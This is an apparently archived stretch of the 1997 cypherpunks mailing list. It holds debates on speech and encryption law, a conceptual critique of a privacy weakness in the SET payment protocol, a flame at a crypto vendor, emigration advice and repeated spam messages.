ruling elites.  For that matter, consider the centuries long
fascination with images of Christ and the Saints undergoing various
tortures.  Clearly homoerotic in many cases and juxtaposing images of
pain and death with sex.  Remove the religious imagery, and anybody
found painting or possessing such work will generally be relegated to
the fringes of society.

When speech is regulated, the meaning of the speech is defined by
whether the speaker is in favor with the authorities.  This is well
understood by the people who propose and pass these laws.  Their
intention is not only to suppress bad ideas, but to liberate the
government from the annoying inconvenience of obeying the law, most
especially (but not exclusively) with regard to the government's
political opponents.

And, as we all know, this issue is particularly insidious when it
comes to laws prohibiting free encrypted speech.  The art of
steganography has reached the point where anything can be "shown" to
be a secret message of some kind.  Should it be decided to truly
enforce these laws, it will be done by letting the cops off the leash
to do whatever they please to whomever they like.

(1. Why we parole child molesters so we can imprison drug users is
beyond me.  It has every appearance of complete insanity on the part
of the authorities.  Or, I suppose, it could mean they don't really
care about kids in spite of all their talk on the subject.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Nov 1997 01:22:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FREE PSYCHOANLYSIS NIGHT ON THE CYPHERPUNKS LIST!!!
In-Reply-To: <v03110741b08e51241192@[139.167.130.248]>
Message-ID: <v03102801b08f856eebc9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:29 AM -0700 11/12/97, TruthMonger wrote:

>  Since Dr. Crispin, like old Doc Hettinga, is making claims of being
>able to recognize the subtle nuances of the psychological states of
>other list members (patient May, in particular), I wonder if Kent is
>equally adept at spotting the subtle psychological inferences in a
>previous post.

There seems to be an unhealthy desire by some to "armchair psychoanalyze"
the motivations and inner motivations of others. In recent days, me. (And
in the past, too. This recent episode of moaning about "What makes Tim say
the things he does? is not new...we've seen this script before.)

Detweiler used to rant for pages and pages about my state of mind and how
my words were "torturing" him, and on and on. This was an unhealthy
fixation on me, in my not so humble opinion.

Now Hettinga seems to have again fallen into this state. Though he styles
himself as an astute observer of human behavior, he fails utterly to
persuade with his insults and whinings.

Bob, get a life. Go do something useful. Make some real money.

Just stop whining about how I'm not sending you money to finance your
"Geodesic Hothouse Enterprises," or whatever, startups. And just stop
whining about how we all ought to tone down our words and so not make Big
Brother angry.

--Tim May

(P.S. The recent "Kent Krispin" posts are of course not from Kent Crispin.
I know that. But I do recall Crispin being one of the handful who got into
the "let's psychoanalyze the motivations of others" mode, so the comments
above are by Toto or whomever are actually not too far off base.)

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 13 Nov 1997 02:04:17 +0800
To: Doug_Tygar@cs.cmu.edu
Subject: Re: SET
In-Reply-To: <2325.879351741@tygar.trust.cs.cmu.edu>
Message-ID: <199711121751.JAA01757@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Doug_Tygar@cs.cmu.edu writes:
> 
> rah@shipwright.com wrote:
> 
> >At Doug Tygar's talk at Harvard last week, he claimed to have found a way
> >to crack it. I, um, forgot to press him on this. Has anyone heard about
> >this, or what it might be?
> 
> Actually, I did not claim to break SET.  What I said was:
> 
> (a)  because SET is such a complicated protocol, I am certain that it
>      does have flaws;
> (b)  SET does not have a clear design philosophy -- for example, it has
>      modes in which a consumer's credit card number is hidden from a
>      merchant and modes when it is given to a merchant.  These ambiguous
>      design points in the protocol make the protocol vulnerable to misuse.

I agree completely.  The people involved in the SET "standards effort" 
seem to have relatively little concern about security compared to
say the TLS working group.  There are smart security-aware people
involved but the process is controlled by non-security-aware
card company VPs.

 
> I have not made a serious effort to crack SET, yet.

Neither have I, but I've already found a significant privacy problem
which would allow merchants to determine who else a cardholder has
made purchases from.  When I posted details to the set-discuss list
the response from the SET czars was "so what?".

[details: according to the spec the cardholder sends to the merchant
thumbs (SHA1 hashes) of all the certs in the cardholder's cert cache.
Since this will contain certs from merchants the cardholder has
made purchases from in the past, a merchant could simply match up
those merchant cert thumbs with cert thumbs he obtains from other
merchants, allowing him to build a list of merchants the cardholder has
attempted to make purchases from].

When the right people do make an effort to crack SET 1.0, it's quite likely
to be broken.


Sorry to sound so negative, but I just got back from a SET meeting
and those always seem to make me especially cynical.


-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Nov 1997 23:59:56 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <v0300780db08f7e130017@[204.254.22.139]>
MIME-Version: 1.0
Content-Type: text/plain



---

Date: Wed, 12 Nov 1997 10:30:20 -0500
To: Declan McCullagh <declan@pathfinder.com>
From: Solveig Singleton <solveig@cato.org>
Subject: Re: Br'er Tim and the Bug Hole (fwd)

I am simply delighted to see that there is a cypherpunk/ferret connection.
They are charming animals; you simply have not lived until you have had one
deploy its highly evolved predatory instincts to pull the insoles out of all
your shoes and hide them under the bed, along with all the attachments from
the vacuum cleaner.

Feel free to post this, if you like.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 13 Nov 1997 20:35:01 +0800
To: VME Encryption <matrix@meganet.com>
Subject: Re: Some IDIOT called CRYPTO CZAR INTERNATIONAL
In-Reply-To: <3.0.32.19971111175921.006da60c@ibcnet.com>
Message-ID: <Pine.LNX.3.91.971112105110.1358A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I'll ignore all profanities and go straight to the points you make:
> 
> 1) Never heard of LCSR (or whatever) and we market our product ourself,
> Meganet Corporation from California USA.

Linear Shift Feedback Registers. If you haven`t heard of this common type 
of RNG you don`t seem to have much cryptographic experience. 

> 2) AOL, NCR, Perot Systems & dozens other have already looked into the
> product and contaced us, so yes, they did saw it and liked what they saw.

AOL is not a crypto company, what dozen others? Anyone serious, eg. RSA, 
Netscape, any other serious crypto company.

> 3) you use a lot of acronyms - what is CMR ? LCSR ?

Corporate Message Recovery, Linear Shift Feedback Register (I used the 
wrong acronym, I should have said LSFR, my appologies). 

> p.s. - I wonder if you know what's the source of all the bad rep we've got
> - nobody knows us and we never posted anything on your forum, so what the
> heck ?

I flame you because I get tired of seeing snake-oil peddlers who won`t 
listen. If you come to a list with a serious proposal, present your 
scheme and say "here it is, do your best" people will take you seriously, 
you will be flamed if you constantly persist in saying your product is 
unbreakable. The crypto community is highly receptive to beginners but 
not to snake-oil merchants.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 13 Nov 1997 03:14:12 +0800
To: whgiii@invweb.net (William H. Geiger III)
Subject: Re: SET
In-Reply-To: <199711121845.NAA31064@users.invweb.net>
Message-ID: <199711121902.LAA02041@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III writes:
> In <199711121751.JAA01757@slack.lne.com>, on 11/12/97
>    at 09:51 AM, Eric Murray <ericm@lne.com> said:
> 
> >[details: according to the spec the cardholder sends to the merchant
> >thumbs (SHA1 hashes) of all the certs in the cardholder's cert cache.
> >Since this will contain certs from merchants the cardholder has made
> >purchases from in the past, a merchant could simply match up those
> >merchant cert thumbs with cert thumbs he obtains from other merchants,
> >allowing him to build a list of merchants the cardholder has attempted to
> >make purchases from].
> 
> 
> Sorry I haven't been keeping track of the SET but why would a merchant
> need this info in the first place??? If anything one would think that this
> would be client driven not server driven (ie the client queries the
> merchant for the hash of his cert to see if the client already has a copy
> or not). I am not quite sure what they are trying to accomplish by this
> unless what you consider a "flaw" is realy a "feature by design"?


Sending them all from the client is bit more efficient-
this way the client sends one message with all its thumbs and
the merchant side sends back any certs that are required.

The other way, the merchant would send the thumbs for all
the required certs, then the client would send a list of thumbs
for certs it doesn't have, then the server would send those certs.

So this way there's one less round trip required.

Both methods are equally open to attack unless the list of thumbs is MAC'd.


-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 13 Nov 1997 03:26:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FCPUNX:PGP's SMTP enforcer and ISPs
In-Reply-To: <199711072330.SAA01730@beast.brainlink.com>
Message-ID: <v03102803b08fae4bf6f0@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain



SSH and a remote shell account can solve this problem. If they close port
22 it is time to change providers.

<shameless plug>
Cyberpass <http://www.cyberpass.net> provides anonymous shell accounts and SSH.
</shameless plug>

	-Lance

>Recently, my ISP became the victim of spammers.  Their response, like many
>other ISPs, is to block port 25 for all their dialup users.  This means
>that all outgoing email must be routed through their mail server.
>
>Now that PGP has an SMTP enforcers, and that others will eventually follow
>with a S/MIME equivalent, we are literally an executive order away from an
>effective (if not 100% complete) ban on "inappropriate" encryption on email
>communications.
>
>All it would take is a national emergency, like the next war against Saddam
>Hussein, or a law that does not treat ISPs like common carriers and holds
>them liable for what their users do.
>
>And the worst thing of all is that most people won't even notice it.  Hell,
>I was the only person on my end to notice that my ISP had blocked port 25.
>
>-- Phelix, "perfect paranoia is perfect awareness"
>
>
>-------------------------------------------------------------------------
>| The above message was sent from the Filtered Cypherpunks List, a free |
>| filtering service.  Direct any replies in regards to this message to  |
>| its author.  Archives available from  www.sundernet.com/fdigest.html  |
>-------> For help see http://www.sundernet.com/crypto.html <-------------


----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 13 Nov 1997 00:26:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Scared of US; Where to relocate?
In-Reply-To: <199711121431.PAA11022@basement.replay.com>
Message-ID: <3.0.2.32.19971112111546.0077f570@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:31 PM 11/12/97 +0100, Anonymous wrote:

>It has become very clear to me over the past few years that amerika 
>is headed for some pretty rough times, and I've decided to leave before
>it becomes illegal for me to do so. The only question is, where to?

Certainly Gary North's "Remnant Review" promotes this view and is causing 
many Right-Wing Nuts to experience bouts of severe depression.  I am not as 
pessimistic.  civil war seems much less likely now than it has in various 
times past.

>I've been looking around for about a week, and the only country that's
>looked good so far was Anguilla (lower travel costs for FC99!), but it
>doesn't meet my requirements for a number of reasons...

Bad net connections.

>Key features I'm looking for are:

>1) Stable political environment. I'm making the move, after all, to AVOID
>participation in a civil war.

The US has had the most stable (even self-satisfied) political environment in 
the world for the last 150 years or so.  Most European and Asian countries 
have been conquered by fascists or communists for some period over that 
timeline.  Switzerland has been stable for 150 years or so.  Hard to get into 
though.

>2) Stable economy, with local sources for all the basics (food, water,
>energy).

Rough in an integrated world.  There goes Japan, all of Africa, most of Asia 
and South America (stable economy).  You are stuck with the OECD countries 
(and Bermuda).

>3) Reasonable level of medical technology, and local talent. I want good
>care for my wife during childbirth, for instance.

The OECD countries.  The High Seas might otherwise qualify but they lack 
doctors.

>4) A job market for unix sysadmins / networking gurus / hackers would be
>nice, but I wouldn't mind learning a new trade either.

The OECD countries.

>5) Right to keep & bear arms + Freedom of speech are musts, other
>"bill of rights" type laws strongly desired.

What kind of free speech do you want?  Sex or hate?  The US is the only safe 
haven for "hate" and political speech.  A number of countries bordering on 
the North and Baltic Seas are reasonably safe for sex speech.  You have to 
choose.  

For guns it almost has to be the US.  Most Swiss Cantons have lax gun laws 
but the Federal Government passed a new law to take effect next year that 
restricts concealed carry and other aspects of gun freedom.  Switzerland will 
remain better than other European countries in this regard.  Since the UK 
recently banned all private ownership of any handguns it is obviously off the 
list.

Mozambique and Afghanistan have loss some of the gun freedoms they had a few 
years ago (open weapons markets and low prices) and fail you criteria for 
other reasons. 

Most tax havens have quite restrictive gun laws.

>6) Low or no taxes would be nice, but if the first five points are met
>even a fairly high (30-40%) tax rate would be endurable.

New Hampshire or Alaska.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Thu, 13 Nov 1997 03:22:00 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: SET
In-Reply-To: <2325.879351741@tygar.trust.cs.cmu.edu>
Message-ID: <199711121918.LAA20209@einstein.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga writes:
 > 
 > Personally, I'm becoming convinced that SET is practically Ptolmaic in it's
 > complexity. You can get money from point A to point B, but you have to go
 > through a lot of epicycles to get there.

Agreed, SET is overengineered hogwash.

 > 
 > Unfortunately, I think that no MIS manager will get fired for using SET, and
 > it'll take a serious demonstration of a security breach before people will
 > listen to anything else. At least until someone demonstrates a transaction
 > protocol which is, say 3 orders of magnitude cheaper...

Perhaps... OTOH, SET is SO bad that it will be impossible to deploy,
probably forcing everyone away from it anyway.

As far as a better protocol, it's already designed, implemented, and
running quite nicely in our software. :-)

Regards,
Jeremey.
- -- 
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug_Tygar@cs.cmu.edu
Date: Thu, 13 Nov 1997 00:29:38 +0800
To: tygar@tygar.trust.cs.cmu.edu
Subject: SET
Message-ID: <2325.879351741@tygar.trust.cs.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



rah@shipwright.com wrote:

>At Doug Tygar's talk at Harvard last week, he claimed to have found a way
>to crack it. I, um, forgot to press him on this. Has anyone heard about
>this, or what it might be?

Actually, I did not claim to break SET.  What I said was:

(a)  because SET is such a complicated protocol, I am certain that it
     does have flaws;
(b)  SET does not have a clear design philosophy -- for example, it has
     modes in which a consumer's credit card number is hidden from a
     merchant and modes when it is given to a merchant.  These ambiguous
     design points in the protocol make the protocol vulnerable to misuse.

I have not made a serious effort to crack SET, yet.

-- Doug Tygar





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Nov 1997 00:51:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <1.5.4.32.19971111233358.00a03ac8@pop.pipeline.com>
Message-ID: <v031107ccb08f6fe1522b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 6:31 pm -0500 on 11/11/97, Tim May wrote:


> One need only think back to the words of Patrick Henry, Jefferson, Thomas
> Paine, and all the others. No doubt Bob H. would have argued that they
> should cool their anger, silence their words, and not give King George a
> "good reason" to crack down on the Colonies.

No. I'm saying something more on the order of hanging together and not
hanging separately, if we have to hang at all. I suppose I was too obscure
earlier, when I said:

> > Even Patrick Henry had
> > um, common sense, about such things.

Meaning of course, when Patrick Henry... --- Oops, Thomas Paine, sorry,
transposed my patriots there -- first stood up to be counted, he did it with
a pseudonym.

> Or tell Eugene Debs to stop talking about the illegality of the draft and
> stop talking about the mistake of entering the Great War to support some
> duchies and satrapies. (Debs was jailed for his _speech_...so much for the
> First Amendment, even back in the 1918 time period.)

Yes. He was jailed. And we still had the draft. And your point is?

Mine was that free speech is frequently honored in the breach in this
country. Debs, and all the others you're talking about, are proof of that.

Frankly, waving your Glock at the local sherriff and daring him to come
shoot you out of der MayBunker is not just free speech, it's, charitably,
grandstanding. Making a threat on the life of a judge, or even begging for
Washington to be nuked -- something you can't possibly do yourself -- is in
the same catagory of "will someone rid me of this priest",  or "but that
would be wrong", or the Castro assination exhortations which inspired Oswald
to kill JFK. In this country, it's all free speech, but that doesn't keep
you from getting impaled, "accidentally" or otherwise, on the pointy end of
the state, or public opinion, when you piss it off.

> And so on. Throughout history there have been those who spoke their mind.
> And others who told them to cool it, to not anger the local prince, to not
> rock the boat.

No, Tim. Your analysis is too simple, here. My point is, all John Brown &
Co. did was get shot up one afternoon in Harper's Ferry. They didn't help
the cause of abolition one whit. Same goes for Gordon Call, or even Timothy
McVeigh, and what they were trying to achieve.


In other words, standing in front of the bug hole all by yourself and
saying, "c'mon, put 'em up" doesn't usually work. Even with the guys on the
rude bridge at Concord, or the people massacred in Boston, or the "nest of
traitors" at the Old South Church, the American revolution wouldn't have
happened without the Continental Congress to raise money (questionable
methods or not) to pay the army. Hanging together, and all that, and more.
It was the only way at the time to organize force in such a way as to assure
success (however tenuous that assurance was when given).

And, I think, when *this* revolution comes, it won't be between the first
real nation-state and its aristocratic colonial power. It will be between a
new kind of power structure and the concept of the nation-state itself. It
*won't* be "give me liberty or give me death".  It'll be the nation state
devolving into a ceremonial entity, violently or not, just like the
aristocracy did before it, with all the real decisions being made in
efficient internetworked markets for anything which can be digitized --
which, of course, will be the only things that matter. Markets with perfect
pseudonymity, anonymous cash settlement, and all the other things you and I
both agree are coming. You call it cryptoanarchy, Duncan calls it
MarketEarth, I call it a geodesic economy, but we're all describing the same
elephant. :-).

> While I don't necessarily put myself  in their class, it's clear to me
that
> America stands for basically libertarian principles, of letting people say
> and read whatever they damned well please. This can include denying the
> Holocaust, preaching the Gospel of Satan, calling for certain judges to be
> taken out into the parking lot and executed by firing squad, or even
> calling for the overthrow of the government.

Right. And you can expect that the government, as a self-perpetuating
entity, and not something which actually has morals and obeys even its own
laws, will come out onto that parking lot and squash you like a, um, bug, in
order to shut you up.

> When we let the spectre of crackdowns by Louis Freeh and Janet Reno cause
> us to self-censor ourselves, then they have well and truly won.

Amen. However, the beauty of strong crypto, and tools like remailers, --
tools which you inspired the creation of -- is that you can yell as loud
about injustice as you want, including calls for extreme rectification of
that injustice, with a modicum of confidence in your personal safety. After
all, the object is to make something happen, not just to kill yourself.

On the net, reputation is orthogonal to biometric identity, as we both say
here all the time. You don't *have* to go sit on a mountaintop and wait for
the powers that be to come up there and shoot you off of it in order to
speak your mind.


Now, Tim, if you want to make yourself St. Joan of Corralitos, or the John
Brown of Santa Clara, you're perfectly welcome to do so. I just don't think
it's going to get you anywhere, except maybe famous and dead. I also think
I've said all I can to you on the subject without repeating myself. I'm sure
you're in the same position yourself.


I suppose it's my own respect for you, because of the rest of what you say
on this list and elsewhere, and the things we do agree on, that causes me to
try to talk you out of this particular bad idea. I think a lot of other
folks agree with me. People who agree with you about everything but getting
yourself killed on principle when nothing tangible will be the result.


Cheers,
Bob Hettinga

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Nov 1997 01:41:45 +0800
To: tygar@tygar.trust.cs.cmu.edu
Subject: Re: SET
In-Reply-To: <2325.879351741@tygar.trust.cs.cmu.edu>
Message-ID: <v031107d1b08f8f625fc9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:22 am -0500 on 11/12/97, Doug_Tygar@cs.cmu.edu wrote:


> Actually, I did not claim to break SET.  What I said was:
>
> (a)  because SET is such a complicated protocol, I am certain that it
>      does have flaws;
> (b)  SET does not have a clear design philosophy -- for example, it has
>      modes in which a consumer's credit card number is hidden from a
>      merchant and modes when it is given to a merchant.  These ambiguous
>      design points in the protocol make the protocol vulnerable to misuse.
>
> I have not made a serious effort to crack SET, yet.

Great. Thanks. Looking forward to seeing what you get.

Personally, I'm becoming convinced that SET is practically Ptolmaic in it's
complexity. You can get money from point A to point B, but you have to go
through a lot of epicycles to get there.

Transactional shovelware, maybe. Not unlike a lot of digital signature
legislation out there.

Unfortunately, I think that no MIS manager will get fired for using SET, and
it'll take a serious demonstration of a security breach before people will
listen to anything else. At least until someone demonstrates a transaction
protocol which is, say 3 orders of magnitude cheaper...

Cheers,
Bob Hettinga

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 13 Nov 1997 02:57:54 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: SET
In-Reply-To: <199711121751.JAA01757@slack.lne.com>
Message-ID: <199711121845.NAA31064@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711121751.JAA01757@slack.lne.com>, on 11/12/97 
   at 09:51 AM, Eric Murray <ericm@lne.com> said:

>[details: according to the spec the cardholder sends to the merchant
>thumbs (SHA1 hashes) of all the certs in the cardholder's cert cache.
>Since this will contain certs from merchants the cardholder has made
>purchases from in the past, a merchant could simply match up those
>merchant cert thumbs with cert thumbs he obtains from other merchants,
>allowing him to build a list of merchants the cardholder has attempted to
>make purchases from].


Sorry I haven't been keeping track of the SET but why would a merchant
need this info in the first place??? If anything one would think that this
would be client driven not server driven (ie the client queries the
merchant for the hash of his cert to see if the client already has a copy
or not). I am not quite sure what they are trying to accomplish by this
unless what you consider a "flaw" is realy a "feature by design"?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 04:57:43 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <CHBBHMJLLGHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:00:17 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <BJMMGGKAIHHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:03:57 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <HBNHHAFLJHHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:03:23 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <NFPEFLGGKHHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:02:08 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <NKMNHAIEMHHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:02:15 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <GLMEBGLBNHHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:00:13 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <GPMCMGBBBIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:14:43 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <KOPGMDGPAIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:00:15 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <EMNHOBDFBIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:02:49 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <ONIMILADBIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:17:06 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <LHCPEOLGBIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:03:09 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <NEIINCIODIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:03:10 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <HFBLLPIAEIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:01:00 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <BNPFIFCIIIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
